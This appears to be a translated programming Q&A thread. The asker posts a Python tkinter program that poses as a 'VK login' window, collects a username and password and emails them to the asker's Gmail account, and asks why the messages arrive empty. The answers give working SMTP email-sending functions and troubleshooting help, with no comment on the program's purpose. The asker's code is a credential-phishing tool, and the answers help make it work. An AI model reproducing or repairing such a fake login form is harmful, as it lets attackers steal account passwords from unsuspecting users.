I wrote a program that should send me a line of text (content variable). I receive an empty letter in the mail, although when debugging it is clear that the variable is correctly filled. What am I doing wrong? Thank you in advance

import smtplib from tkinter import * from tkinter import messagebox def destr(): a = login.get() b = parol.get() content = 'Login: ' + str(a) + ', ' + 'password: ' + str(b) mail = smtplib.SMTP('smtp.gmail.com', 587) mail.ehlo() mail.starttls() mail.login('komp.lord@gmail.com','########не скажу') mail.sendmail('komp.lord@gmail.com', 'komp.lord@gmail.com', content) okno.destroy() okno = Tk() okno.title('Вход ВК') okno.geometry('500x500') login = StringVar() EmailOrPhone = Entry(okno, textvariable = login).pack() parol = StringVar() Password = Entry(okno, textvariable = parol).pack() knopka = Button(okno, text = 'Я ввёл логин и пароль', command = destr, fg = 'black', bg = 'white').pack() okno.mainloop() 

3 answers 3

Once upon a time (when I started learning Python) I wrote for one project:

 import six import smtplib import email.utils import email.encoders from six.moves import email_mime_multipart # import email.mime.multipart from six.moves import email_mime_text # import email.mime.text from six.moves import email_mime_base # import email.mime.base def send_mail( send_to, subject, text, send_from, files=[], headers={}, cc=None, smtp_server='localhost', smtp_port=0, smtp_login=None, smtp_password=None ): """ sends email via SMTP server parameters: send_to - email recipient(s) [str | basestring | list] subject - subject string [str | basestring] text - email body [str | basestring] send_from - sender's email [str | basestring] files - list of attached files [list of strings] headers - custom headers [dict, like: {'X-My-Header':'My Header'}] cc - email CC recipient(s) [str | basestring | list] default: None smtp_server - SMTP hostname or IP [str | basestring] default: 'localhost' smtp_port - SMTP port default: 0 smtp_login - SMTP server login [str | basestring] default: None smtp_password - SMTP server password [str | basestring] default: None ) """ assert isinstance(send_to, list) or isinstance(send_to, six.string_types) assert isinstance(files, list) msg = email_mime_multipart.MIMEMultipart() msg['From'] = send_from msg['Date'] = email.utils.formatdate(localtime=True) msg['Subject'] = subject # convert the list of recipients to the comma-separated string if isinstance(send_to, list): msg['To'] = email.utils.COMMASPACE.join(send_to) elif isinstance(send_to, six.string_types): msg['To'] = send_to if cc: # convert the list of recipients to the comma-separated string if isinstance(cc, list): msg['Cc'] = email.utils.COMMASPACE.join(cc) elif isinstance(cc, six.string_types): msg['Cc'] = cc msg.attach(email_mime_text.MIMEText(text)) # attach file-attachments # use set in order to get rid of duplicates for f in set(files): part = email_mime_base.MIMEBase('application', 'octet-stream') part.set_payload(open(f, 'rb').read()) email.encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) # attach custom eMail headers if any for h in headers.keys(): msg[h] = headers[h] smtp = smtplib.SMTP(smtp_server, port=smtp_port) # perform authentication if both login and password were specified if smtp_login and smtp_password: smtp.starttls() smtp.login(smtp_login, smtp_password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close() 
     #!/usr/bin/env python # -*- coding: utf-8 -*- """Send email via smtp_host.""" import smtplib from email.mime.text import MIMEText from email.header import Header ####smtp_host = 'smtp.live.com' # microsoft smtp_host = 'smtp.gmail.com' # google ####smtp_host = 'smtp.mail.yahoo.com' # yahoo ####smtp_host = 'smtp.yandex.ru' # yandex login, password = 'user@gmail.com', 'pa$$w0rd' recipients_emails = [login] msg = MIMEText('body…', 'plain', 'utf-8') msg['Subject'] = Header('subject…', 'utf-8') msg['From'] = login msg['To'] = ", ".join(recipients_emails) s = smtplib.SMTP(smtp_host, 587, timeout=10) s.set_debuglevel(1) try: s.starttls() s.login(login, password) s.sendmail(msg['From'], recipients_emails, msg.as_string()) finally: s.quit() 
    • the code is an exact duplicate of another answer , unfortunately, one of the participants does not consider this a duplicate (without good reason). Therefore we multiply the answers unnecessarily. - jfs

    Instead of sending a text message, I attached a text file, and it worked.

    • How does this solve your problem: "I receive an empty letter in the mail" ? What happens if you run the code from the response (substituting your login, password) ? (I used this code repeatedly and it works with all email providers I have tried. Of course, a non-empty letter arrives) - jfs